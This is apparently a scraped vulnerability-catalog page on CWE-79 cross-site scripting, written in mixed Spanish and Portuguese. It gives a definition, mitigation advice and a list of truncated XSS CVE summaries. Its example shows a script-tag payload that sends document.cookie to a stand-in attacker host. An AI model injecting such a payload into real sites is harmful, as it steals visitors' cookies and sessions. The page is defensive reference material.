Fallos del tipo CWE-79

30.666 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-3509—A flaw was found in Red Hat Ceph Storage 4, in the Dashboard component. In response to CVE-2020-27839, the JWT token was moved from localStoEPSS 1.7%CVE-2022-43670MEDIUMXSS in Sling CMS Reference App Taxonomy PathEPSS 1.7%CVE-2019-16780MEDIUMStored cross-site scripting (XSS) in WordPress block editorEPSS 1.7%CVE-2016-9490—ManageEngine Applications Manager versions 12 and 13 suffer from a Reflected Cross-Site Scripting vulnerabilityEPSS 1.7%CVE-2019-18267—An issue was found in GE S2020/S2020G Fast Switch 61850, S2020/S2020G Fast Switch 61850 Versions 07A03 and prior. An attacker can inject arbEPSS 1.7%CVE-2024-57686CRITICALA Cross Site Scripting (XSS) vulnerability was found in /landrecordsys/admin/contactus.php in PHPGurukul Land Record System v1.0, which alloEPSS 1.7%CVE-2022-2219—Unyson < 2.7.27 - Reflected Cross-Site ScriptingEPSS 1.7%CVE-2021-24319—Bello < 1.6.0 - Authenticated Cross-Site Scripting (XSS) and XFSEPSS 1.7%CVE-2020-9737MEDIUMStored XSS in AEM's Content Repository Development EnvironmentEPSS 1.7%CVE-2020-9738MEDIUMStored XSS in AEM's Content Repository Development EnvironmentEPSS 1.7%CVE-2020-24408MEDIUMStored XSS in customer address upload featureEPSS 1.7%CVE-2014-5408—Nordex NC2 Cross-site ScriptingEPSS 1.7%CVE-2022-27777—A XSS Vulnerability in Action View tag helpers >= 5.2.0 and < 5.2.0 which would allow an attacker to inject content if able to control inputEPSS 1.7%CVE-2019-1010237—Ilias 5.3 before 5.3.12; 5.2 before 5.2.21 is affected by: Cross Site Scripting (XSS) - CWE-79 Type 2: Stored XSS (or Persistent). The impacEPSS 1.7%CVE-2024-41662HIGHVNote vulnerable to Markdown XSS, which leads to RCEEPSS 1.7%CVE-2021-37700MEDIUMClipboard-based DOM-XSSEPSS 1.7%CVE-2016-6343MEDIUMJBoss BPM Suite 6 is vulnerable to a reflected XSS via dashbuilder. Remote attackers can entice authenticated users that have privileges to EPSS 1.7%CVE-2016-9466—Nextcloud Server before 10.0.1 & ownCloud Server before 9.0.6 and 9.1.2 suffer from Reflected XSS in the Gallery application. The gallery apEPSS 1.7%CVE-2021-24875—eCommerce Product Catalog for WordPress < 3.0.39 - Reflected Cross-Site ScriptingEPSS 1.7%CVE-2021-32609—XSS vulnerability on Explore pageEPSS 1.7%